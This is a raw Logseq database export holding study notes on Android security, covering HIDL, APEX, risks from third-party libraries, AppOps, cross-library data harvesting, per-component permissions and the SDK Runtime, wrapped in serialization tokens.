implementationslogseq____",536874675]],[logseq____"^15logseq____",[629,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[629,logseq____"^Flogseq____",631,536874675]],[logseq____"^15logseq____",[629,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[629,logseq____"^Vlogseq____",627,536874675]],[logseq____"^15logseq____",[629,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[629,logseq____"^;logseq____",logseq____"~u67b9e0d4-48b8-47bf-9f8b-cd3c4015d224logseq____",536874675]],[logseq____"^15logseq____",[630,logseq____"^Qlogseq____",logseq____"Android 8.0 reworked OS frameworklogseq____",536874675]],[logseq____"^15logseq____",[630,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[630,logseq____"^Flogseq____",627,536874675]],[logseq____"^15logseq____",[630,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[630,logseq____"^Vlogseq____",627,536874675]],[logseq____"^15logseq____",[630,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[630,logseq____"^;logseq____",logseq____"~u67b9e0d4-20e4-4db2-94b2-1259c27721f0logseq____",536874675]],[logseq____"^15logseq____",[631,logseq____"^Qlogseq____",logseq____"Introduced HAL interface definition language (HIDL)logseq____",536874675]],[logseq____"^15logseq____",[631,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[631,logseq____"^Flogseq____",630,536874675]],[logseq____"^15logseq____",[631,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[631,logseq____"^Vlogseq____",627,536874675]],[logseq____"^15logseq____",[631,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[631,logseq____"^;logseq____",logseq____"~u67b9e0d4-6c06-4c82-a700-f1fb5370e8aflogseq____",536874675]],[logseq____"^15logseq____",[632,logseq____"^Qlogseq____",logseq____"New container format (APEX) for lower-level system modules not fitting in application modellogseq____",536874675]],[logseq____"^15logseq____",[632,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[632,logseq____"^Flogseq____",628,536874675]],[logseq____"^15logseq____",[632,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[632,logseq____"^Vlogseq____",624,536874675]],[logseq____"^15logseq____",[632,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[632,logseq____"^;logseq____",logseq____"~u67b9e0d4-790e-4876-839a-a453d8164df3logseq____",536874675]],[logseq____"^15logseq____",[633,logseq____"^Qlogseq____",logseq____"logseq____",536874675]],[logseq____"^15logseq____",[633,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[633,logseq____"^Flogseq____",624,536874675]],[logseq____"^15logseq____",[633,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[633,logseq____"^Vlogseq____",241,536874675]],[logseq____"^15logseq____",[633,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[633,logseq____"^;logseq____",logseq____"~u67b9e0d4-3aa7-41d8-a28e-a6b98c00fb7blogseq____",536874675]],[logseq____"^15logseq____",[634,logseq____"^Qlogseq____",logseq____"Too strict might hinder benign operationslogseq____",536874675]],[logseq____"^15logseq____",[634,logseq____"^Ologseq____",logseq____"^16logseq____",536874675]],[logseq____"^15logseq____",[634,logseq____"^Flogseq____",625,536874675]],[logseq____"^15logseq____",[634,logseq____"^Xlogseq____",225,536874675]],[logseq____"^15logseq____",[634,logseq____"^Vlogseq____",625,536874675]],[logseq____"^15logseq____",[634,logseq____"^Ulogseq____",225,536874675]],[logseq____"^15logseq____",[634,logseq____"^;logseq____",logseq____"~u67b9e0d4-db8f-439c-8826-cae8f4461ec6logseq____",536874675]],[logseq____"^15logseq____",[637,logseq____"^Qlogseq____",logseq____"Tamper-proof: depends on Kernel integrity and ((67b9e0d3-a64f-414c-b6b5-7ceac2877fce)) enforcing policieslogseq____",536874805]],[logseq____"^15logseq____",[637,logseq____"^Ologseq____",logseq____"^16logseq____",536874772]],[logseq____"^15logseq____",[637,logseq____"^Flogseq____",585,536874772]],[logseq____"^15logseq____",[637,logseq____"^Xlogseq____",549,536874772]],[logseq____"^15logseq____",[637,logseq____"^Vlogseq____",583,536874772]],[logseq____"^15logseq____",[637,logseq____"^Ulogseq____",549,536874796]],[logseq____"^15logseq____",[637,logseq____"^Ulogseq____",613,536874796]],[logseq____"^15logseq____",[637,logseq____"^?logseq____",[logseq____"^ logseq____"],536874805]],[logseq____"^15logseq____",[637,logseq____"^Hlogseq____",613,536874805]],[logseq____"^15logseq____",[637,logseq____"^;logseq____",logseq____"~u67b9e113-ef2a-4056-a549-c0e5f601e192logseq____",536874772]],[logseq____"^15logseq____",[638,logseq____"^12logseq____",2,536874809]],[logseq____"^15logseq____",[639,logseq____"^Qlogseq____",logseq____"# Topic 3 - Third-Party Librarieslogseq____",536874831]],[logseq____"^15logseq____",[639,logseq____"^Ologseq____",logseq____"^16logseq____",536874811]],[logseq____"^15logseq____",[639,logseq____"^Flogseq____",299,536874815]],[logseq____"^15logseq____",[639,logseq____"^Xlogseq____",296,536874811]],[logseq____"^15logseq____",[639,logseq____"^Vlogseq____",296,536874815]],[logseq____"^15logseq____",[639,logseq____"^Ulogseq____",296,536874812]],[logseq____"^15logseq____",[639,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536878163]],[logseq____"^15logseq____",[639,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[639,logseq____"^;logseq____",logseq____"~u67b9f177-6c0a-48be-a44b-b54a81976301logseq____",536874811]],[logseq____"^15logseq____",[640,logseq____"^Qlogseq____",logseq____"## [[Malicious Libraries]]logseq____",536875087]],[logseq____"^15logseq____",[640,logseq____"^Ologseq____",logseq____"^16logseq____",536874831]],[logseq____"^15logseq____",[640,logseq____"^Flogseq____",639,536874831]],[logseq____"^15logseq____",[640,logseq____"^Xlogseq____",296,536874831]],[logseq____"^15logseq____",[640,logseq____"^Vlogseq____",639,536874833]],[logseq____"^15logseq____",[640,logseq____"^Ulogseq____",296,536874851]],[logseq____"^15logseq____",[640,logseq____"^Ulogseq____",641,536874851]],[logseq____"^15logseq____",[640,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[640,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[640,logseq____"^Hlogseq____",641,536878163]],[logseq____"^15logseq____",[640,logseq____"^;logseq____",logseq____"~u67b9f188-9098-4940-80ef-5ddec5fc3dd3logseq____",536874831]],[logseq____"^15logseq____",[641,logseq____"^Klogseq____",1740239289815,536874850]],[logseq____"^15logseq____",[641,logseq____"^Ologseq____",logseq____"^16logseq____",536874858]],[logseq____"^15logseq____",[641,logseq____"^@logseq____",false,536874850]],[logseq____"^15logseq____",[641,logseq____"^Ylogseq____",logseq____"malicious librarieslogseq____",536875085]],[logseq____"^15logseq____",[641,logseq____"^11logseq____",logseq____"Malicious Librarieslogseq____",536875085]],[logseq____"^15logseq____",[641,logseq____"^Blogseq____",1740241473239,536875614]],[logseq____"^15logseq____",[641,logseq____"^;logseq____",logseq____"~u67bd79bb-9265-4f01-8ad6-5a4ba7469812logseq____",536878163]],[logseq____"^15logseq____",[642,logseq____"^Qlogseq____",logseq____"## [[Vulnerable Libraries]]logseq____",536875624]],[logseq____"^15logseq____",[642,logseq____"^Ologseq____",logseq____"^16logseq____",536874854]],[logseq____"^15logseq____",[642,logseq____"^Flogseq____",640,536874854]],[logseq____"^15logseq____",[642,logseq____"^Xlogseq____",296,536874854]],[logseq____"^15logseq____",[642,logseq____"^Vlogseq____",639,536874854]],[logseq____"^15logseq____",[642,logseq____"^Ulogseq____",296,536875625]],[logseq____"^15logseq____",[642,logseq____"^Ulogseq____",679,536875625]],[logseq____"^15logseq____",[642,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536878163]],[logseq____"^15logseq____",[642,logseq____"^Jlogseq____",[],536878163]],[logseq____"^15logseq____",[642,logseq____"^Hlogseq____",679,536878163]],[logseq____"^15logseq____",[642,logseq____"^;logseq____",logseq____"~u67b9f1ba-06bd-4e33-a734-24e774fac663logseq____",536874854]],[logseq____"^15logseq____",[643,logseq____"^Qlogseq____",logseq____"## Install Channelslogseq____",536874867]],[logseq____"^15logseq____",[643,logseq____"^Ologseq____",logseq____"^16logseq____",536874859]],[logseq____"^15logseq____",[643,logseq____"^@logseq____",false,536874859]],[logseq____"^15logseq____",[643,logseq____"^Flogseq____",641,536874859]],[logseq____"^15logseq____",[643,logseq____"^Xlogseq____",641,536874859]],[logseq____"^15logseq____",[643,logseq____"^Vlogseq____",641,536874859]],[logseq____"^15logseq____",[643,logseq____"^Ulogseq____",641,536874860]],[logseq____"^15logseq____",[643,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874867]],[logseq____"^15logseq____",[643,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874867]],[logseq____"^15logseq____",[643,logseq____"^;logseq____",logseq____"~u67b9f1bb-76eb-46db-8213-fde829ac203flogseq____",536874859]],[logseq____"^15logseq____",[644,logseq____"^Qlogseq____",logseq____"Libraries must be included (hard-linked) in every app package that wants to use libslogseq____",536874966]],[logseq____"^15logseq____",[644,logseq____"^Ologseq____",logseq____"^16logseq____",536874862]],[logseq____"^15logseq____",[644,logseq____"^@logseq____",false,536874862]],[logseq____"^15logseq____",[644,logseq____"^Flogseq____",646,536874939]],[logseq____"^15logseq____",[644,logseq____"^Xlogseq____",641,536874862]],[logseq____"^15logseq____",[644,logseq____"^Vlogseq____",643,536874939]],[logseq____"^15logseq____",[644,logseq____"^Ulogseq____",641,536874863]],[logseq____"^15logseq____",[644,logseq____"^?logseq____",[logseq____"^ logseq____"],536874966]],[logseq____"^15logseq____",[644,logseq____"^;logseq____",logseq____"~u67b9f221-901f-4a15-b558-ec165d4b1074logseq____",536874862]],[logseq____"^15logseq____",[646,logseq____"^Qlogseq____",logseq____"No central directory(exception: system libs) on end-user device (in contrast to desktop (`/usr/lib`)logseq____",536874936]],[logseq____"^15logseq____",[646,logseq____"^Ologseq____",logseq____"^16logseq____",536874867]],[logseq____"^15logseq____",[646,logseq____"^@logseq____",false,536874867]],[logseq____"^15logseq____",[646,logseq____"^Flogseq____",643,536874867]],[logseq____"^15logseq____",[646,logseq____"^Xlogseq____",641,536874867]],[logseq____"^15logseq____",[646,logseq____"^Vlogseq____",643,536874871]],[logseq____"^15logseq____",[646,logseq____"^Ulogseq____",641,536874868]],[logseq____"^15logseq____",[646,logseq____"^?logseq____",[logseq____"^ logseq____"],536874936]],[logseq____"^15logseq____",[646,logseq____"^;logseq____",logseq____"~u67b9f224-e105-4b90-b69f-2e67c9cd0edalogseq____",536874867]],[logseq____"^15logseq____",[647,logseq____"^Qlogseq____",logseq____"Libraries are obtained from webpages, central repositories or included in IDElogseq____",536874997]],[logseq____"^15logseq____",[647,logseq____"^Ologseq____",logseq____"^16logseq____",536874969]],[logseq____"^15logseq____",[647,logseq____"^@logseq____",false,536874969]],[logseq____"^15logseq____",[647,logseq____"^Flogseq____",644,536874969]],[logseq____"^15logseq____",[647,logseq____"^Xlogseq____",641,536874969]],[logseq____"^15logseq____",[647,logseq____"^Vlogseq____",643,536874969]],[logseq____"^15logseq____",[647,logseq____"^Ulogseq____",641,536874970]],[logseq____"^15logseq____",[647,logseq____"^?logseq____",[logseq____"^ logseq____"],536874997]],[logseq____"^15logseq____",[647,logseq____"^;logseq____",logseq____"~u67b9f281-6084-4fd9-9810-b3d9af09b482logseq____",536874969]],[logseq____"^15logseq____",[648,logseq____"^Qlogseq____",logseq____"## Riskslogseq____",536875007]],[logseq____"^15logseq____",[648,logseq____"^Ologseq____",logseq____"^16logseq____",536875000]],[logseq____"^15logseq____",[648,logseq____"^@logseq____",false,536875000]],[logseq____"^15logseq____",[648,logseq____"^Flogseq____",643,536875004]],[logseq____"^15logseq____",[648,logseq____"^Xlogseq____",641,536875000]],[logseq____"^15logseq____",[648,logseq____"^Vlogseq____",641,536875004]],[logseq____"^15logseq____",[648,logseq____"^Ulogseq____",641,536875001]],[logseq____"^15logseq____",[648,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875007]],[logseq____"^15logseq____",[648,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875007]],[logseq____"^15logseq____",[648,logseq____"^;logseq____",logseq____"~u67b9f321-fb81-478c-b248-e861c63a28e5logseq____",536875000]],[logseq____"^15logseq____",[649,logseq____"^Qlogseq____",logseq____"Exploit host applogseq____'s privilegeslogseq____",536875041]],[logseq____"^15logseq____",[649,logseq____"^Ologseq____",logseq____"^16logseq____",536875007]],[logseq____"^15logseq____",[649,logseq____"^@logseq____",false,536875007]],[logseq____"^15logseq____",[649,logseq____"^Flogseq____",648,536875007]],[logseq____"^15logseq____",[649,logseq____"^Xlogseq____",641,536875007]],[logseq____"^15logseq____",[649,logseq____"^Vlogseq____",648,536875009]],[logseq____"^15logseq____",[649,logseq____"^Ulogseq____",641,536875008]],[logseq____"^15logseq____",[649,logseq____"^?logseq____",[logseq____"^ logseq____"],536875041]],[logseq____"^15logseq____",[649,logseq____"^;logseq____",logseq____"~u67b9f325-b8ac-4e80-9b88-ca2a644065delogseq____",536875007]],[logseq____"^15logseq____",[650,logseq____"^Qlogseq____",logseq____"Access local and external files (risk of de-anonymization)logseq____",536875063]],[logseq____"^15logseq____",[650,logseq____"^Ologseq____",logseq____"^16logseq____",536875028]],[logseq____"^15logseq____",[650,logseq____"^@logseq____",false,536875028]],[logseq____"^15logseq____",[650,logseq____"^Flogseq____",649,536875028]],[logseq____"^15logseq____",[650,logseq____"^Xlogseq____",641,536875028]],[logseq____"^15logseq____",[650,logseq____"^Vlogseq____",648,536875028]],[logseq____"^15logseq____",[650,logseq____"^Ulogseq____",641,536875029]],[logseq____"^15logseq____",[650,logseq____"^?logseq____",[logseq____"^ logseq____"],536875063]],[logseq____"^15logseq____",[650,logseq____"^;logseq____",logseq____"~u67b9f333-0c42-4d5e-afd9-6bd43416d0b0logseq____",536875028]],[logseq____"^15logseq____",[652,logseq____"^Qlogseq____",logseq____"Insecure library code leads to possibly vulnerable host appslogseq____",536875082]],[logseq____"^15logseq____",[652,logseq____"^Ologseq____",logseq____"^16logseq____",536875064]],[logseq____"^15logseq____",[652,logseq____"^@logseq____",false,536875064]],[logseq____"^15logseq____",[652,logseq____"^Flogseq____",650,536875064]],[logseq____"^15logseq____",[652,logseq____"^Xlogseq____",641,536875064]],[logseq____"^15logseq____",[652,logseq____"^Vlogseq____",648,536875064]],[logseq____"^15logseq____",[652,logseq____"^Ulogseq____",641,536875065]],[logseq____"^15logseq____",[652,logseq____"^?logseq____",[logseq____"^ logseq____"],536875082]],[logseq____"^15logseq____",[652,logseq____"^;logseq____",logseq____"~u67b9f364-2dd7-4bde-a55a-6596613deed8logseq____",536875064]],[logseq____"^15logseq____",[653,logseq____"^Qlogseq____",logseq____"## AppOpslogseq____",536875103]],[logseq____"^15logseq____",[653,logseq____"^Ologseq____",logseq____"^16logseq____",536875093]],[logseq____"^15logseq____",[653,logseq____"^@logseq____",false,536875093]],[logseq____"^15logseq____",[653,logseq____"^Flogseq____",648,536875097]],[logseq____"^15logseq____",[653,logseq____"^Xlogseq____",641,536875093]],[logseq____"^15logseq____",[653,logseq____"^Vlogseq____",641,536875097]],[logseq____"^15logseq____",[653,logseq____"^Ulogseq____",641,536875094]],[logseq____"^15logseq____",[653,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875103]],[logseq____"^15logseq____",[653,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875103]],[logseq____"^15logseq____",[653,logseq____"^;logseq____",logseq____"~u67b9f47f-7720-4bd9-b7e3-574c3eabf774logseq____",536875093]],[logseq____"^15logseq____",[654,logseq____"^Qlogseq____",logseq____"Used for [[Access Control]] and tracking (additional hooks as PEP after permission checks)logseq____",536875141]],[logseq____"^15logseq____",[654,logseq____"^Ologseq____",logseq____"^16logseq____",536875106]],[logseq____"^15logseq____",[654,logseq____"^@logseq____",false,536875106]],[logseq____"^15logseq____",[654,logseq____"^Flogseq____",653,536875106]],[logseq____"^15logseq____",[654,logseq____"^Xlogseq____",641,536875106]],[logseq____"^15logseq____",[654,logseq____"^Vlogseq____",653,536875108]],[logseq____"^15logseq____",[654,logseq____"^Ulogseq____",37,536875142]],[logseq____"^15logseq____",[654,logseq____"^Ulogseq____",641,536875142]],[logseq____"^15logseq____",[654,logseq____"^?logseq____",[logseq____"^ logseq____"],536875141]],[logseq____"^15logseq____",[654,logseq____"^Hlogseq____",37,536875141]],[logseq____"^15logseq____",[654,logseq____"^;logseq____",logseq____"~u67b9f489-8ab6-421b-ab98-f320c66d329blogseq____",536875106]],[logseq____"^15logseq____",[655,logseq____"^Qlogseq____",logseq____"Track important events (runtime permission-protected APIs)logseq____",536875186]],[logseq____"^15logseq____",[655,logseq____"^Ologseq____",logseq____"^16logseq____",536875137]],[logseq____"^15logseq____",[655,logseq____"^@logseq____",false,536875137]],[logseq____"^15logseq____",[655,logseq____"^Flogseq____",656,536875145]],[logseq____"^15logseq____",[655,logseq____"^Xlogseq____",641,536875137]],[logseq____"^15logseq____",[655,logseq____"^Vlogseq____",653,536875137]],[logseq____"^15logseq____",[655,logseq____"^Ulogseq____",641,536875138]],[logseq____"^15logseq____",[655,logseq____"^?logseq____",[logseq____"^ logseq____"],536875186]],[logseq____"^15logseq____",[655,logseq____"^;logseq____",logseq____"~u67b9f4a5-2789-4b13-bbba-af795ecad7cdlogseq____",536875137]],[logseq____"^15logseq____",[656,logseq____"^Qlogseq____",logseq____"Access Control: controlled for each UID/package (depends on API provider maintaining app-op; replace return values instead of `SecurityException`)logseq____",536875213]],[logseq____"^15logseq____",[656,logseq____"^Ologseq____",logseq____"^16logseq____",536875145]],[logseq____"^15logseq____",[656,logseq____"^@logseq____",false,536875145]],[logseq____"^15logseq____",[656,logseq____"^Flogseq____",654,536875145]],[logseq____"^15logseq____",[656,logseq____"^Xlogseq____",641,536875145]],[logseq____"^15logseq____",[656,logseq____"^Vlogseq____",653,536875145]],[logseq____"^15logseq____",[656,logseq____"^Ulogseq____",641,536875146]],[logseq____"^15logseq____",[656,logseq____"^?logseq____",[logseq____"^ logseq____"],536875213]],[logseq____"^15logseq____",[656,logseq____"^;logseq____",logseq____"~u67b9f4c4-cec9-4c3b-8d37-dda9e6611be2logseq____",536875145]],[logseq____"^15logseq____",[657,logseq____"^Qlogseq____",logseq____"Android 11 allows for registration of callbacks for permission-protected API accesseslogseq____",536875232]],[logseq____"^15logseq____",[657,logseq____"^Ologseq____",logseq____"^16logseq____",536875216]],[logseq____"^15logseq____",[657,logseq____"^@logseq____",false,536875216]],[logseq____"^15logseq____",[657,logseq____"^Flogseq____",655,536875216]],[logseq____"^15logseq____",[657,logseq____"^Xlogseq____",641,536875216]],[logseq____"^15logseq____",[657,logseq____"^Vlogseq____",653,536875216]],[logseq____"^15logseq____",[657,logseq____"^Ulogseq____",641,536875217]],[logseq____"^15logseq____",[657,logseq____"^?logseq____",[logseq____"^ logseq____"],536875232]],[logseq____"^15logseq____",[657,logseq____"^;logseq____",logseq____"~u67b9f58c-2aa0-4199-98ae-718421991e34logseq____",536875216]],[logseq____"^15logseq____",[658,logseq____"^Qlogseq____",logseq____"## XLDH (Cross Library Data Harvesting)logseq____",536875248]],[logseq____"^15logseq____",[658,logseq____"^Ologseq____",logseq____"^16logseq____",536875235]],[logseq____"^15logseq____",[658,logseq____"^@logseq____",false,536875235]],[logseq____"^15logseq____",[658,logseq____"^Flogseq____",653,536875239]],[logseq____"^15logseq____",[658,logseq____"^Xlogseq____",641,536875235]],[logseq____"^15logseq____",[658,logseq____"^Vlogseq____",641,536875239]],[logseq____"^15logseq____",[658,logseq____"^Ulogseq____",641,536875236]],[logseq____"^15logseq____",[658,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875248]],[logseq____"^15logseq____",[658,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875248]],[logseq____"^15logseq____",[658,logseq____"^;logseq____",logseq____"~u67b9f61c-321b-4d71-ad31-4074a8b6110dlogseq____",536875235]],[logseq____"^15logseq____",[659,logseq____"^Qlogseq____",logseq____"SDKs within same app share sandboxlogseq____",536875264]],[logseq____"^15logseq____",[659,logseq____"^Ologseq____",logseq____"^16logseq____",536875251]],[logseq____"^15logseq____",[659,logseq____"^@logseq____",false,536875251]],[logseq____"^15logseq____",[659,logseq____"^Flogseq____",658,536875251]],[logseq____"^15logseq____",[659,logseq____"^Xlogseq____",641,536875251]],[logseq____"^15logseq____",[659,logseq____"^Vlogseq____",658,536875253]],[logseq____"^15logseq____",[659,logseq____"^Ulogseq____",641,536875252]],[logseq____"^15logseq____",[659,logseq____"^?logseq____",[logseq____"^ logseq____"],536875264]],[logseq____"^15logseq____",[659,logseq____"^;logseq____",logseq____"~u67b9f629-6a9d-406f-b661-72a7f6a643e9logseq____",536875251]],[logseq____"^15logseq____",[660,logseq____"^Qlogseq____",logseq____"Malicious SDKs can attack other SDKs, e.g., steal datalogseq____",536875286]],[logseq____"^15logseq____",[660,logseq____"^Ologseq____",logseq____"^16logseq____",536875264]],[logseq____"^15logseq____",[660,logseq____"^@logseq____",false,536875264]],[logseq____"^15logseq____",[660,logseq____"^Flogseq____",659,536875264]],[logseq____"^15logseq____",[660,logseq____"^Xlogseq____",641,536875264]],[logseq____"^15logseq____",[660,logseq____"^Vlogseq____",658,536875264]],[logseq____"^15logseq____",[660,logseq____"^Ulogseq____",641,536875265]],[logseq____"^15logseq____",[660,logseq____"^?logseq____",[logseq____"^ logseq____"],536875286]],[logseq____"^15logseq____",[660,logseq____"^;logseq____",logseq____"~u67b9f657-2684-4f9f-b159-aa1d5fbbb4balogseq____",536875264]],[logseq____"^15logseq____",[661,logseq____"^Qlogseq____",logseq____"## Per-Component Permissionslogseq____",536875299]],[logseq____"^15logseq____",[661,logseq____"^Ologseq____",logseq____"^16logseq____",536875289]],[logseq____"^15logseq____",[661,logseq____"^@logseq____",false,536875289]],[logseq____"^15logseq____",[661,logseq____"^Flogseq____",658,536875291]],[logseq____"^15logseq____",[661,logseq____"^Xlogseq____",641,536875289]],[logseq____"^15logseq____",[661,logseq____"^Vlogseq____",641,536875291]],[logseq____"^15logseq____",[661,logseq____"^Ulogseq____",641,536875290]],[logseq____"^15logseq____",[661,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875299]],[logseq____"^15logseq____",[661,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875299]],[logseq____"^15logseq____",[661,logseq____"^;logseq____",logseq____"~u67b9f6bb-eb91-4c1c-ab7f-4a2ca10f8484logseq____",536875289]],[logseq____"^15logseq____",[662,logseq____"^Qlogseq____",logseq____"Idea: Build call-chains from Dalvik call-stack to build component call-chains used in addtion to UID for permission checkslogseq____",536875353]],[logseq____"^15logseq____",[662,logseq____"^Ologseq____",logseq____"^16logseq____",536875299]],[logseq____"^15logseq____",[662,logseq____"^@logseq____",false,536875299]],[logseq____"^15logseq____",[662,logseq____"^Flogseq____",661,536875299]],[logseq____"^15logseq____",[662,logseq____"^Xlogseq____",641,536875299]],[logseq____"^15logseq____",[662,logseq____"^Vlogseq____",661,536875303]],[logseq____"^15logseq____",[662,logseq____"^Ulogseq____",641,536875300]],[logseq____"^15logseq____",[662,logseq____"^?logseq____",[logseq____"^ logseq____"],536875353]],[logseq____"^15logseq____",[662,logseq____"^;logseq____",logseq____"~u67b9f6c1-8ca7-4019-b3bb-5b906ae6b4ablogseq____",536875299]],[logseq____"^15logseq____",[663,logseq____"^12logseq____",2,536875313]],[logseq____"^15logseq____",[664,logseq____"^Qlogseq____",logseq____"Problems:logseq____",536875356]],[logseq____"^15logseq____",[664,logseq____"^Ologseq____",logseq____"^16logseq____",536875349]],[logseq____"^15logseq____",[664,logseq____"^@logseq____",false,536875349]],[logseq____"^15logseq____",[664,logseq____"^Flogseq____",662,536875349]],[logseq____"^15logseq____",[664,logseq____"^Xlogseq____",641,536875349]],[logseq____"^15logseq____",[664,logseq____"^Vlogseq____",661,536875349]],[logseq____"^15logseq____",[664,logseq____"^Ulogseq____",641,536875350]],[logseq____"^15logseq____",[664,logseq____"^?logseq____",[logseq____"^ logseq____"],536875356]],[logseq____"^15logseq____",[664,logseq____"^;logseq____",logseq____"~u67b9f6fb-cecf-4572-944b-49578089b7d6logseq____",536875349]],[logseq____"^15logseq____",[665,logseq____"^Qlogseq____",logseq____"Call-chain built within sandbox: malicious app can tamper with own memorylogseq____",536875381]],[logseq____"^15logseq____",[665,logseq____"^Ologseq____",logseq____"^16logseq____",536875356]],[logseq____"^15logseq____",[665,logseq____"^@logseq____",false,536875356]],[logseq____"^15logseq____",[665,logseq____"^Flogseq____",664,536875356]],[logseq____"^15logseq____",[665,logseq____"^Xlogseq____",641,536875356]],[logseq____"^15logseq____",[665,logseq____"^Vlogseq____",664,536875358]],[logseq____"^15logseq____",[665,logseq____"^Ulogseq____",641,536875357]],[logseq____"^15logseq____",[665,logseq____"^?logseq____",[logseq____"^ logseq____"],536875381]],[logseq____"^15logseq____",[665,logseq____"^;logseq____",logseq____"~u67b9f70b-4947-42dd-bc10-9eedb9acf457logseq____",536875356]],[logseq____"^15logseq____",[666,logseq____"^Qlogseq____",logseq____"Threads and dynamic code loading can \\logseq____"clean call stack\\logseq____" not listing malicious componentslogseq____",536875412]],[logseq____"^15logseq____",[666,logseq____"^Ologseq____",logseq____"^16logseq____",536875384]],[logseq____"^15logseq____",[666,logseq____"^@logseq____",false,536875384]],[logseq____"^15logseq____",[666,logseq____"^Flogseq____",665,536875384]],[logseq____"^15logseq____",[666,logseq____"^Xlogseq____",641,536875384]],[logseq____"^15logseq____",[666,logseq____"^Vlogseq____",664,536875384]],[logseq____"^15logseq____",[666,logseq____"^Ulogseq____",641,536875385]],[logseq____"^15logseq____",[666,logseq____"^?logseq____",[logseq____"^ logseq____"],536875412]],[logseq____"^15logseq____",[666,logseq____"^;logseq____",logseq____"~u67b9f71f-f60d-4718-943d-a50d7759e73flogseq____",536875384]],[logseq____"^15logseq____",[667,logseq____"^Qlogseq____",logseq____"## SDK-Runtimelogseq____",536875428]],[logseq____"^15logseq____",[667,logseq____"^Ologseq____",logseq____"^16logseq____",536875415]],[logseq____"^15logseq____",[667,logseq____"^@logseq____",false,536875415]],[logseq____"^15logseq____",[667,logseq____"^Flogseq____",661,536875422]],[logseq____"^15logseq____",[667,logseq____"^Xlogseq____",641,536875415]],[logseq____"^15logseq____",[667,logseq____"^Vlogseq____",641,536875422]],[logseq____"^15logseq____",[667,logseq____"^Ulogseq____",641,536875416]],[logseq____"^15logseq____",[667,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536875428]],[logseq____"^15logseq____",[667,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536875428]],[logseq____"^15logseq____",[667,logseq____"^;logseq____",logseq____"~u67b9f7a6-a663-49c9-af8d-3dc9e7478a67logseq____",536875415]],[logseq____"^15logseq____",[668,logseq____"^Qlogseq____",logseq____"Compatible SDKs run in a separate, isolated processlogseq____",536875472]],[logseq____"^15logseq____",[668,logseq____"^Ologseq____",logseq____"^16logseq____",536875428]],[logseq____"^15logseq____",[668,logseq____"^@logseq____",false,536875428]],[logseq____"^15logseq____",[668,logseq____"^Flogseq____",667,536875428]],[logseq____"^15logseq____",[668,logseq____"^Xlogseq____",641,536875428]],[logseq____"^15logseq____",[668,logseq____"^Vlogseq____",667,536875430]],[logseq____"^15logseq____",[668,logseq____"^Ulogseq____",641,536875429]],[logseq____"^15logseq____",[668,logseq____"^?logseq____",[logseq____"^ logseq____"],536875472]],[logseq____"^15logseq____",[668,logseq____"^;logseq____",logseq____"~u67b9f7ab-3ea1-4683-ad1a-dfec33462979logseq____",536875428]],[logseq____"^15logseq____",[669,logseq____"^Qlogseq____",logseq____"Bidirectional communication via IPClogseq____",536875457]],[logseq____"^15logseq____",[669,logseq____"^Ologseq____",logseq____"^16logseq____",536875453]],[logseq____"^15logseq____",[669,logseq____"^@logseq____",false,536875453]],[logseq____"^15logseq____",[669,logseq____"^Flogseq____",670,536875472]],[logseq____"^15logseq____",[669,logseq____"^Xlogseq____",641,536875453]],[logseq____"^15logseq____",[669,logseq____"^Vlogseq____",667,536875453]],[logseq____"^15logseq____",[669,logseq____"^Ulogseq____",641,536875454]],[logseq____"^15logseq____",[669,logseq____"^?logseq____",[logseq____"^ logseq____"],536875457]],[logseq____"^15logseq____",[669,logseq____"^;logseq____",logseq____"~u67b9f7bf-4d41-4e8a-8dda-53c4ab9fbb36logseq____",536875453]],[logseq____"^15logseq____",[670,logseq____"^Qlogseq____",logseq____"new SELinux type, minimal storage access, custom permission setlogseq____",536875479]],[logseq____"^15logseq____",[670,logseq____"^Ologseq____",logseq____"^16logseq____",536875472]],[logseq____"^15logseq____",[670,logseq____"^@logseq____",false,536875472]],[logseq____"^15logseq____",[670,logseq____"^Flogseq____",668,536875472]],[logseq____"^15logseq____",[670,logseq____"^Xlogseq____",641,536875472]],[logseq____"^15logseq____",[670,logseq____"^Vlogseq____",667,536875472]],[logseq____"^15logseq____",[670,logseq____"^Ulogseq____",641,536875473]],[logseq____"^15logseq____",[670,logseq____"^?logseq____",[logseq____"^ 